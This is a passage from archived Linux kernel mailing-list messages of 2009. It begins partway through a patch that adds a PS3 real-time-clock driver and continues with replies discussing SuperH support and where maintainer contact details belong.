+EXPORT_SYMBOL(ps3_os_area_get_rtc_diff);
=20
 /**
  * ps3_os_area_set_rtc_diff - Set the rtc diff value.
@@ -823,6 +824,7 @@ void ps3_os_area_set_rtc_diff(u64 rtc_diff)
 		os_area_queue_work();
 	}
 }
+EXPORT_SYMBOL(ps3_os_area_set_rtc_diff);
=20
 /**
  * ps3_os_area_get_av_multi_out - Returns the default video mode.
diff --git a/arch/powerpc/platforms/ps3/platform.h b/arch/powerpc/platf=
orms/ps3/platform.h
index 235c13e..136aa06 100644
--- a/arch/powerpc/platforms/ps3/platform.h
+++ b/arch/powerpc/platforms/ps3/platform.h
@@ -64,8 +64,6 @@ int ps3_set_rtc_time(struct rtc_time *time);
=20
 void __init ps3_os_area_save_params(void);
 void __init ps3_os_area_init(void);
-u64 ps3_os_area_get_rtc_diff(void);
-void ps3_os_area_set_rtc_diff(u64 rtc_diff);
=20
 /* spu */
=20
diff --git a/arch/powerpc/platforms/ps3/setup.c b/arch/powerpc/platform=
s/ps3/setup.c
index 3331ccb..6618182 100644
--- a/arch/powerpc/platforms/ps3/setup.c
+++ b/arch/powerpc/platforms/ps3/setup.c
@@ -270,8 +270,6 @@ define_machine(ps3) {
 	.init_IRQ			=3D ps3_init_IRQ,
 	.panic				=3D ps3_panic,
 	.get_boot_time			=3D ps3_get_boot_time,
-	.set_rtc_time			=3D ps3_set_rtc_time,
-	.get_rtc_time			=3D ps3_get_rtc_time,
 	.set_dabr			=3D ps3_set_dabr,
 	.calibrate_decr			=3D ps3_calibrate_decr,
 	.progress			=3D ps3_progress,
diff --git a/arch/powerpc/platforms/ps3/time.c b/arch/powerpc/platforms=
/ps3/time.c
index d0daf7d..b178a1e 100644
--- a/arch/powerpc/platforms/ps3/time.c
+++ b/arch/powerpc/platforms/ps3/time.c
@@ -19,6 +19,7 @@
  */
=20
 #include <linux/kernel.h>
+#include <linux/platform_device.h>
=20
 #include <asm/rtc.h>
 #include <asm/lv1call.h>
@@ -74,23 +75,20 @@ static u64 read_rtc(void)
 	return rtc_val;
 }
=20
-int ps3_set_rtc_time(struct rtc_time *tm)
+unsigned long __init ps3_get_boot_time(void)
 {
-	u64 now =3D mktime(tm->tm_year + 1900, tm->tm_mon + 1, tm->tm_mday,
-		tm->tm_hour, tm->tm_min, tm->tm_sec);
-
-	ps3_os_area_set_rtc_diff(now - read_rtc());
-	return 0;
+	return read_rtc() + ps3_os_area_get_rtc_diff();
 }
=20
-void ps3_get_rtc_time(struct rtc_time *tm)
+static int __init ps3_rtc_init(void)
 {
-	to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
-	tm->tm_year -=3D 1900;
-	tm->tm_mon -=3D 1;
-}
+	struct platform_device *pdev;
=20
-unsigned long __init ps3_get_boot_time(void)
-{
-	return read_rtc() + ps3_os_area_get_rtc_diff();
+	pdev =3D platform_device_register_simple("rtc-ps3", -1, NULL, 0);
+	if (IS_ERR(pdev))
+		return PTR_ERR(pdev);
+
+	return 0;
 }
+
+module_init(ps3_rtc_init);
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 6488c50..7b6b63a 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -730,4 +730,13 @@ config RTC_DRV_MV
 	  This driver can also be built as a module. If so, the module
 	  will be called rtc-mv.
=20
+config RTC_DRV_PS3
+	tristate "PS3 RTC"
+	depends on PPC_PS3
+	help
+	  If you say yes here you will get support for the RTC on PS3.
+
+	  This driver can also be built as a module. If so, the module
+	  will be called rtc-ps3.
+
 endif # RTC_CLASS
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index bd209a5..d161d1d 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -75,3 +75,4 @@ obj-$(CONFIG_RTC_DRV_VR41XX)	+=3D rtc-vr41xx.o
 obj-$(CONFIG_RTC_DRV_WM8350)	+=3D rtc-wm8350.o
 obj-$(CONFIG_RTC_DRV_X1205)	+=3D rtc-x1205.o
 obj-$(CONFIG_RTC_DRV_PCF50633)	+=3D rtc-pcf50633.o
+obj-$(CONFIG_RTC_DRV_PS3)	+=3D rtc-ps3.o
diff --git a/drivers/rtc/rtc-ps3.c b/drivers/rtc/rtc-ps3.c
new file mode 100644
index 0000000..968133c
--- /dev/null
+++ b/drivers/rtc/rtc-ps3.c
@@ -0,0 +1,104 @@
+/*
+ * PS3 RTC Driver
+ *
+ * Copyright 2009 Sony Corporation
+ *
+ * This program is free software; you can redistribute it and/or modif=
y
+ * it under the terms of the GNU General Public License as published b=
y
+ * the Free Software Foundation; version 2 of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
+ * If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/platform_device.h>
+#include <linux/rtc.h>
+
+#include <asm/lv1call.h>
+#include <asm/ps3.h>
+
+
+static u64 read_rtc(void)
+{
+	int result;
+	u64 rtc_val;
+	u64 tb_val;
+
+	result =3D lv1_get_rtc(&rtc_val, &tb_val);
+	BUG_ON(result);
+
+	return rtc_val;
+}
+
+static int ps3_get_time(struct device *dev, struct rtc_time *tm)
+{
+	rtc_time_to_tm(read_rtc() + ps3_os_area_get_rtc_diff(), tm);
+	return rtc_valid_tm(tm);
+}
+
+static int ps3_set_time(struct device *dev, struct rtc_time *tm)
+{
+	unsigned long now;
+
+	rtc_tm_to_time(tm, &now);
+	ps3_os_area_set_rtc_diff(now - read_rtc());
+	return 0;
+}
+
+static const struct rtc_class_ops ps3_rtc_ops =3D {
+	.read_time =3D ps3_get_time,
+	.set_time =3D ps3_set_time,
+};
+
+static int __init ps3_rtc_probe(struct platform_device *dev)
+{
+	struct rtc_device *rtc;
+
+	rtc =3D rtc_device_register("rtc-ps3", &dev->dev, &ps3_rtc_ops,
+				  THIS_MODULE);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
+
+	platform_set_drvdata(dev, rtc);
+	return 0;
+}
+
+static int __exit ps3_rtc_remove(struct platform_device *dev)
+{
+	rtc_device_unregister(platform_get_drvdata(dev));
+	return 0;
+}
+
+static struct platform_driver ps3_rtc_driver =3D {
+	.driver =3D {
+		.name =3D "rtc-ps3",
+		.owner =3D THIS_MODULE,
+	},
+	.remove =3D __exit_p(ps3_rtc_remove),
+};
+
+static int __init ps3_rtc_init(void)
+{
+	return platform_driver_probe(&ps3_rtc_driver, ps3_rtc_probe);
+}
+
+static void __exit ps3_rtc_fini(void)
+{
+	platform_driver_unregister(&ps3_rtc_driver);
+}
+
+module_init(ps3_rtc_init);
+module_exit(ps3_rtc_fini);
+
+MODULE_AUTHOR("Sony Corporation");
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("ps3 RTC driver");
+MODULE_ALIAS("platform:rtc-ps3");
--=20
1.6.0.4

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: Re: [PATCH 0/7] Generic RTC class driver
Date: Tue, 10 Mar 2009 00:46:17 +0900
Lines: 14
Approved: news@gmane.org
Message-ID: <20090309154617.GA31103@linux-sh.org>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1236613886 32672 80.91.229.12 (9 Mar 2009 15:51:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 15:51:26 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 16:52:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LghlX-000743-Eg
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 16:51:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751223AbZCIPuU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 11:50:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752075AbZCIPuT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 11:50:19 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:43129 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751223AbZCIPuS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 11:50:18 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id ECC1C63754;
	Mon,  9 Mar 2009 15:46:17 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cU+aTu9ckxv3; Tue, 10 Mar 2009 00:46:17 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id ADDAD63758; Tue, 10 Mar 2009 00:46:17 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>,
	Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Dann Frazier <dannf@dannf.org>
Content-Disposition: inline
In-Reply-To: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1365 gmane.linux.ports.ppc64.devel:53274 gmane.linux.ports.m68k:529 gmane.linux.kernel:804363
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1365>

On Mon, Mar 09, 2009 at 02:26:16PM +0100, Geert Uytterhoeven wrote:
> Paul: Feel free to add your SuperH support.
> 
> I suppose the easiest way for this to go in is through Kyle's PA-RISC tree, as
> he already has the preceding patches? Can I have your acks, please?
> 
I'll add the SH support once the patch set is merged, it's not a very
pressing matter, so no need to make the patch juggling any more
complicated :-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geoff Levand <geoffrey.levand@am.sony.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [rtc-linux] [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 9 Mar 2009 11:04:17 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <49B55A21.2010801@am.sony.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>	<1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090309151216.17f13862@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236622525 2392 80.91.229.12 (9 Mar 2009 18:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 18:15:25 +0000 (UTC)
Cc: linux-m68k@vger.kernel.org, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>, linuxppc-dev@ozlabs.org,
	Paul Mundt <lethal@linux-sh.org>, Geert.Uytterhoeven@sonycom.com,
	Dann Frazier <dannf@dannf.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org Mon Mar 09 19:16:40 2009
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lgk1a-0005xk-9t
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 09 Mar 2009 19:16:27 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 30F6BDE15D
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 10 Mar 2009 05:15:01 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from WA4EHSOBE005.bigfish.com (wa4ehsobe005.messaging.microsoft.com
	[216.32.181.15]) by ozlabs.org (Postfix) with ESMTP id A98C0DDDFF
	for <linuxppc-dev@ozlabs.org>; Tue, 10 Mar 2009 05:04:30 +1100 (EST)
Original-Received: from mail209-wa4-R.bigfish.com (10.8.14.246) by
	WA4EHSOBE005.bigfish.com (10.8.40.25) with Microsoft SMTP Server id
	8.1.340.0; Mon, 9 Mar 2009 18:04:26 +0000
Original-Received: from mail209-wa4 (localhost.localdomain [127.0.0.1])	by
	mail209-wa4-R.bigfish.com (Postfix) with ESMTP id 2207FD306EF;
	Mon,  9 Mar 2009 18:04:26 +0000 (UTC)
X-BigFish: VPS-45(zz1432R98dR936eQ1805M936fK9371Pzzzzz2fh6bh62h)
X-Spam-TCS-SCL: 1:0
Original-Received: by mail209-wa4 (MessageSwitch) id 1236621864644361_17880; Mon,  9
	Mar 2009 18:04:24 +0000 (UCT)
Original-Received: from mail8.fw-bc.sony.com (mail8.fw-bc.sony.com [160.33.98.75])	by
	mail209-wa4.bigfish.com (Postfix) with ESMTP id 691612D8072;
	Mon,  9 Mar 2009 18:04:24 +0000 (UTC)
Original-Received: from mail3.sjc.in.sel.sony.com (mail3.sjc.in.sel.sony.com
	[43.134.1.211])	by mail8.fw-bc.sony.com (8.14.2/8.14.2) with ESMTP id
	n29I4NJ1010191;	Mon, 9 Mar 2009 18:04:23 GMT
Original-Received: from ussdixhub21.spe.sony.com (ussdixhub21.spe.sony.com
	[43.130.141.76])	by mail3.sjc.in.sel.sony.com (8.12.11/8.12.11) with
	ESMTP id n29I4KqV014965;	Mon, 9 Mar 2009 18:04:22 GMT
Original-Received: from USSDIXRG02.am.sony.com (43.130.140.32) by
	ussdixhub21.spe.sony.com (43.130.141.76) with Microsoft SMTP Server id
	8.1.340.0; Mon, 9 Mar 2009 11:04:18 -0700
Original-Received: from ussdixms03.am.sony.com ([43.130.140.23]) by
	USSDIXRG02.am.sony.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 9 Mar
	2009 11:04:18 -0700
Original-Received: from [192.168.1.10] ([43.135.148.226]) by ussdixms03.am.sony.com
	with Microsoft SMTPSVC(5.0.2195.6713); Mon, 9 Mar 2009 11:04:18 -0700
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
In-Reply-To: <20090309151216.17f13862@i1501.lan.towertech.it>
X-Enigmail-Version: 0.95.7
X-OriginalArrivalTime: 09 Mar 2009 18:04:18.0078 (UTC)
	FILETIME=[76F763E0:01C9A0E1]
X-SEL-encryption-scan: scanned
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:21800 gmane.linux.ports.m68k:530 gmane.linux.ports.parisc:1366 gmane.linux.kernel:804423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1366>

Hi,

On 03/09/2009 07:12 AM, Alessandro Zummo wrote:
> On Mon,  9 Mar 2009 14:26:23 +0100
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
>> +
>> +MODULE_AUTHOR("Sony Corporation");
> 
>  real name, if possible and a contact address
>  here . Just in case I need someone to bother :)

Please look at the MAINTAINERS file, that will give
the contact for PS3.  It is much easier to maintain
a single place for the contact than many spread
throughout the kernel sources.

-Geoff

From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [rtc-linux] Re: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 9 Mar 2009 19:43:07 +0100
Organization: Tower Technologies
Lines: 44
Approved: news@gmane.org
Message-ID: <20090309194307.154f3e95@i1501.lan.towertech.it>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090309151216.17f13862@i1501.lan.towertech.it>
	<49B55A21.2010801@am.sony.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236624210 8451 80.91.229.12 (9 Mar 2009 18:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 18:43:30 +0000 (UTC)
Cc: geoffrey.levand@am.sony.com, Geert.Uytterhoeven@sonycom.com,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: rtc-linux@googlegroups.com
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 19:44:45 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgkSu-0007ug-0Q
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 19:44:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751971AbZCISnQ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Mar 2009 14:43:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752157AbZCISnQ
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 14:43:16 -0400
Original-Received: from mx0.towertech.it ([213.215.222.73]:39323 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751971AbZCISnP (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Mon, 9 Mar 2009 14:43:15 -0400
Original-Received: (qmail 1569 invoked from network); 9 Mar 2009 19:43:08 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 9 Mar 2009 19:43:08 +0100
In-Reply-To: <49B55A21.2010801@am.sony.com>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:531 gmane.linux.ports.parisc:1367 gmane.linux.ports.ppc64.devel:53292 gmane.linux.kernel:804432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1367>

On Mon, 9 Mar 2009 11:04:17 -0700
Geoff Levand <geoffrey.levand@am.sony.com> wrote:

> 
> Hi,
> 
> On 03/09/2009 07:12 AM, Alessandro Zummo wrote:
> > On Mon,  9 Mar 2009 14:26:23 +0100
> > Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> >> +
> >> +MODULE_AUTHOR("Sony Corporation");
> > 
> >  real name, if possible and a contact address
> >  here . Just in case I need someone to bother :)
> 
> Please look at the MAINTAINERS file, that will give
> the contact for PS3.  It is much easier to maintain
> a single place for the contact than many spread
> throughout the kernel sources.

 Having it in MODULE_AUTHOR allow my scripts to automatically
 send an email when appropriate.

 MAINTAINERS lists the files with an arbitrary
 driver title so that the search must be made by an human and there's
 no field that links a person to a specific .c .

 so every time I want to address someone I need to check MODULE_AUTHOR,
 the git log and the MAINTAINERS file.

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geoff Levand <geoffrey.levand@am.sony.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: Re: [PATCH 7/7] powerpc/ps3: Add rtc-ps3
Date: Mon, 9 Mar 2009 11:35:58 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <49B5618E.9050501@am.sony.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-7-git-send-email-Geert.Uytterhoeven@sonycom.com> <1236605183-22718-8-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1236624715 10326 80.91.229.12 (9 Mar 2009 18:51:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 18:51:55 +0000 (UTC)
Cc: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@vger.kernel.org, linux-kernel@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 19:53:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lgkaq-0002f7-HG
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 19:52:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751811AbZCISvR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 14:51:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754527AbZCISvP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 14:51:15 -0400
Original-Received: from tx2ehsobe001.messaging.microsoft.com ([65.55.88.11]:52764 "EHLO
	TX2EHSOBE002.bigfish.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754091AbZCISvL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 14:51:11 -0400
X-Greylist: delayed 905 seconds by postgrey-1.27 at vger.kernel.org; Mon, 09 Mar 2009 14:51:11 EDT
Original-Received: from mail164-tx2-R.bigfish.com (10.9.14.237) by
 TX2EHSOBE002.bigfish.com (10.9.40.22) with Microsoft SMTP Server id
 8.1.340.0; Mon, 9 Mar 2009 18:36:04 +0000
Original-Received: from mail164-tx2 (localhost.localdomain [127.0.0.1])	by
 mail164-tx2-R.bigfish.com (Postfix) with ESMTP id 772262E044E;	Mon,  9 Mar
 2009 18:36:04 +0000 (UTC)
X-BigFish: VPS-27(zz98dR936eQ9371Pzzzzz2fh6bh)
Original-Received: by mail164-tx2 (MessageSwitch) id 1236623761117498_8900; Mon,  9 Mar
 2009 18:36:01 +0000 (UCT)
Original-Received: from mail8.fw-sd.sony.com (mail8.fw-sd.sony.com [160.33.66.75])	by
 mail164-tx2.bigfish.com (Postfix) with ESMTP id E68CAD0005E;	Mon,  9 Mar 2009
 18:36:00 +0000 (UTC)
Original-Received: from mail3.sjc.in.sel.sony.com (mail3.sjc.in.sel.sony.com
 [43.134.1.211])	by mail8.fw-sd.sony.com (8.14.2/8.14.2) with ESMTP id
 n29Ia0Rt026520;	Mon, 9 Mar 2009 18:36:00 GMT
Original-Received: from ussdixhub21.spe.sony.com (ussdixhub21.spe.sony.com
 [43.130.141.76])	by mail3.sjc.in.sel.sony.com (8.12.11/8.12.11) with ESMTP id
 n29IZxNr013173;	Mon, 9 Mar 2009 18:36:00 GMT
Original-Received: from USSDIXRG02.am.sony.com (43.130.140.32) by
 ussdixhub21.spe.sony.com (43.130.141.76) with Microsoft SMTP Server id
 8.1.340.0; Mon, 9 Mar 2009 11:35:59 -0700
Original-Received: from ussdixms03.am.sony.com ([43.130.140.23]) by
 USSDIXRG02.am.sony.com with Microsoft SMTPSVC(5.0.2195.6713);	 Mon, 9 Mar
 2009 11:35:59 -0700
Original-Received: from [192.168.1.10] ([43.135.148.226]) by ussdixms03.am.sony.com
 with Microsoft SMTPSVC(5.0.2195.6713);	 Mon, 9 Mar 2009 11:35:59 -0700
User-Agent: Thunderbird 2.0.0.19 (X11/20090105)
